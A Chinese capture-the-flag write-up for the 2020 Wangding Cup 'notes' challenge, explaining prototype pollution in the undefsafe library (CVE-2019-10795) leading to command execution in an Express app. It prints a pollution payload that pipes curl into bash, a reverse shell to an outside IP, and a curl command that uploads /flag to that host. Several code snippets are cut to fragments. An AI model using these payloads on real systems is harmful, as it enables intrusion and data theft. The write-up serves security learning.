[网鼎杯 2020 青龙组]notes
原型链污染的题https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940
undefsafe在2.03版本下会产生漏洞
1 | var express = require('express'); |
漏洞点在/status路由下,exec能够进行任意代码执行,我们只需要污染command字典,通过command字典来执行我们的命令
1 | app.route('/status') |
我们发现在/edit_note下可以传递三个参数,id,author和enote
1 |
|
传入后会直接写入当前的note_list
1 | class Notes { |
接受用户传参并使用,可以利用这点命令执行
playload:`
1 | id=__proto__&author=curl 靶机名/1.txt|bash&raw=123 |
我们在虚拟机上写一个shell文件并监听,在访问status时就会反弹shell
1 | bash -i >& /dev/tcp/60.204.158.87/2333 0>&1 |
在edit_note下传入参数,再访问status
成功连接上
我们再在edit_note里写入访问flag的命令
1 | id=__proto__.bb&author=curl -F "FLAG=@/flag" 60.204.158.87:2333&raw=a |
我们访问status,得到flag
undefsafe作用
1 | var object = { |
CVE-2019-10795 原型链污染(Prototype Pollution)
在版本小于2.0.3的undefsafe
函数有漏洞,可以污染所有对象的原型链,给对象添加属性。
POC如下,污染原型链后,空对象多了个ddd
属性,且{}.ddd=JHU
。
1 | var a = require("undefsafe"); |
bash -i >& /dev/tcp/IP/2333 0>&1
这条命令是在 Bash 中用于创建反向 Shell 的一种方法。它的作用是:
bash -i
启动一个交互式 Bash shell。>& /dev/tcp/IP/2333 将标准输出和标准错误重定向到指定 IP 地址(
IP)的 9999 端口。这里的
/dev/tcp/` 是 Bash 特有的功能,允许通过 TCP 连接到指定的主机和端口。0>&1
将标准输入重定向到标准输出,这样从远程主机接收到的数据可以被 Bash 处理。
换句话说,当执行这个命令时,目标主机会连接到指定的 IP 地址和端口,并通过该连接进行命令交互。这种方法通常用于安全测试和渗透测试,但在没有授权的情况下使用是非法的。请务必确保你有权限进行这样的操作。